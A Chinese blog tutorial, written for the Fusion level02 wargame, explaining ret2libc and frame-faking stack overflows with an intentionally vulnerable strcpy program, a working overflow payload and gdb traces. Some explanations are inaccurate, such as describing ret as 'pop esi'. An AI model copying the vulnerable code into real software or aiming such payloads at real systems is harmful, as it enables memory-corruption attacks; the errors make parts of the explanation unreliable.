0x00 frame-faking在处理fusion 的level02 时遇到新的问题,需要了解frame-faking的原理,查阅了一些资料。
The advanced return-into-lib(c) exploits
Advanced Exploit Techique之–frame faking技术
ROP轻松谈
首先感谢各位前辈写的文章。
Frame Faking是一种栈溢出的技巧,使用framefaking可以通过控制ebp修改程序的运行流程,可以用来对抗DEP。
0x01 经典的ret2lib溢出溢出流程 测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> void test (char *a) { char buf[256 ]; strcpy (buf,a); printf ("buf is: %s\n" ,buf); } void t (int n) { n=0 ; n=n+1 ; printf ("n is : %d\n" ,n); } int main (int argc,char *argv[]) { int i; test(argv[1 ]); t(i); return 0 ; }
1 gcc -fno-stack-protector test.c -o test
通过构建payload使得test会调用t,并且设置返回地址。如图:
下面我着重分析一下为什么可以控制调用后函数的返回地址 ,因为在加深对汇编代码栈上数据的管理。有利于更好地理解frame faking。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 Starting program: /tmp/test $(python -c 'print "A"*268+"\x4b\x84\x04\x08"+"CCCC"+"\x40\xf5\xff\xbf"' ) buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKCCCC@??? Breakpoint 2 , 0x08048449 in test () (gdb) disas test Dump of assembler code for function test : 0x08048414 <+0 >: push %ebp 0x08048415 <+1 >: mov %esp ,%ebp 0x08048417 <+3 >: sub $0 x118,%esp 0x0804841d <+9 >: mov 0x8 (%ebp ),%eax 0x08048420 <+12 >: mov %eax ,0x4 (%esp ) 0x08048424 <+16 >: lea -0x108 (%ebp ),%eax 0x0804842a <+22 >: mov %eax ,(%esp ) 0x0804842d <+25 >: call 0x8048330 <strcpy@plt> 0x08048432 <+30 >: mov $0 x8048570,%eax 0x08048437 <+35 >: lea -0x108 (%ebp ),%edx 0x0804843d <+41 >: mov %edx ,0x4 (%esp ) 0x08048441 <+45 >: mov %eax ,(%esp ) 0x08048444 <+48 >: call 0x8048320 <printf@plt> => 0x08048449 <+53 >: leave 0x0804844a <+54 >: ret End of assembler dump. (gdb) i r eax 0x121 289 ecx 0xbffff51c -1073744612 edx 0x0 0 ebx 0xb7fceff4 -1208160268 esp 0xbffff530 0xbffff530 ebp 0xbffff648 0xbffff648 esi 0x0 0 edi 0x0 0 eip 0x8048449 0x8048449 <test +53 >eflags 0x296 [ PF AF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
在汇编代码执行到leave的时候,esp与ebp分别指向栈顶和栈低。
leave指令相当于.
所以在执行完leave指令之后,esp=0xbffff64c,ebp=0x41414141。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 (gdb) ni Breakpoint 1 , 0x0804844a in test () (gdb) disassemble test Dump of assembler code for function test : 0x08048414 <+0 >: push %ebp 0x08048415 <+1 >: mov %esp ,%ebp 0x08048417 <+3 >: sub $0 x118,%esp 0x0804841d <+9 >: mov 0x8 (%ebp ),%eax 0x08048420 <+12 >: mov %eax ,0x4 (%esp ) 0x08048424 <+16 >: lea -0x108 (%ebp ),%eax 0x0804842a <+22 >: mov %eax ,(%esp ) 0x0804842d <+25 >: call 0x8048330 <strcpy@plt> 0x08048432 <+30 >: mov $0 x8048570,%eax 0x08048437 <+35 >: lea -0x108 (%ebp ),%edx 0x0804843d <+41 >: mov %edx ,0x4 (%esp ) 0x08048441 <+45 >: mov %eax ,(%esp ) 0x08048444 <+48 >: call 0x8048320 <printf@plt> 0x08048449 <+53 >: leave => 0x0804844a <+54 >: ret End of assembler dump. (gdb) i r eax 0x121 289 ecx 0xbffff51c -1073744612 edx 0x0 0 ebx 0xb7fceff4 -1208160268 esp 0xbffff64c 0xbffff64c ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x804844a 0x804844a <test +54 >eflags 0x296 [ PF AF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
可以看到确实与我们计算的相同。此时需要执行指令ret。
通过查看esp寄存器地址的数据,发现eip将被赋值为0x0804844b 。正是t函数的地址 。且esp的值将变成0xbffff650,而0xbfffff650的值是我们写入的”CCCC”。
1 2 3 4 (gdb) x /10 x $esp 0xbffff64c : 0x0804844b 0x43434343 0xbffff540 0xb7e89b00 0xbffff65c : 0xb7fcf324 0xb7fceff4 0xb7e89c55 0x080484a9 0xbffff66c : 0xb7fceff4 0x080484a0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 (gdb) ni 0x0804844b in t ()(gdb) i r eax 0x121 289 ecx 0xbffff51c -1073744612 edx 0x0 0 ebx 0xb7fceff4 -1208160268 esp 0xbffff650 0xbffff650 ebp 0x41414141 0x41414141 esi 0x0 0 edi 0x0 0 eip 0x804844b 0x804844b <t>eflags 0x296 [ PF AF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
步进之后果然进入了t函数。查看t函数的汇编代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 (gdb) disas t Dump of assembler code for function t: => 0x0804844b <+0 >: push %ebp 0x0804844c <+1 >: mov %esp ,%ebp 0x0804844e <+3 >: sub $0x28 ,%esp 0x08048451 <+6 >: movl $0x0 ,-0xc (%ebp ) 0x08048458 <+13 >: addl $0x1 ,-0xc (%ebp ) 0x0804845c <+17 >: mov $0x804857c ,%eax 0x08048461 <+22 >: mov -0xc (%ebp ),%edx 0x08048464 <+25 >: mov %edx ,0x4 (%esp ) 0x08048468 <+29 >: mov %eax ,(%esp ) 0x0804846b <+32 >: call 0x8048320 <printf@plt> 0x08048470 <+37 >: leave 0x08048471 <+38 >: ret End of assembler dump.
此时ebp为0x41414141。esp为0xbffff650,该地址的内存中存储的值为CCCC。
所以在代码执行t函数的栈空间构造完成之后。
寄存器
值
[0xbffff64c]ebp====>
0x41414141
0x43434343
…..
…..
[0xbffff624]esp====>
0x0804857c[这个值是什么不重要]
在leave执行之后。
寄存器
值
0x41414141
[0xbffff650]esp====>
0x43434343
…
…
…
…
…
[0x41414141]ebp====>
不关心是什么东西…………………………..
再执行ret。其实就是pop esi,那么esi就指向了esp当前指向的0x43434343。
那么同理,函数的参数其实就很好理解了。
缺点与不足 这种溢出技巧有两个缺点:
不能很好的支持连续调用多个函数,因为每个函数需要的参数可能不同。
不能支持参数中出现null字符。
所以我们需要引入一个高级一些的技巧:)。
0x02 frame faking原理介绍 frame faking并不是通过覆盖ret地址为目标函数来控制eip,而是通过覆盖ebp与eip协同来控制程序的进程。
首先给出frame faking技巧使用时栈上的内存分布,之后在做详细的分步解释。
如图所示,给出的payload中做了两件事情。
用一个伪造的EBP地址 来覆盖 原来的真实的EBP地址 。
用一个指向汇编代码leave/ret 的地址覆盖原来的返回地址。这么一来在原本程序结束前调用函数中原本存在的leave/ret指令之后,会再一次执行leave/ret指令。相当于做了两次leave/ret。可以变向的理解为被攻击的函数 结束时的汇编代码为。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 push ebp mov ebp, esp sub esp, 0x96 ... ... mov esp,ebp ; pop ebp ; pop esi ; mov esp,ebp ; pop ebp ; pop esi ;
现在对两次leave/ret做出拆分图解,一共6条汇编指令。
通过这一系列的调用,完成了程序运行流程的控制,在解决fusion的level02的时候使用这个技巧可以使解题变的简单很多。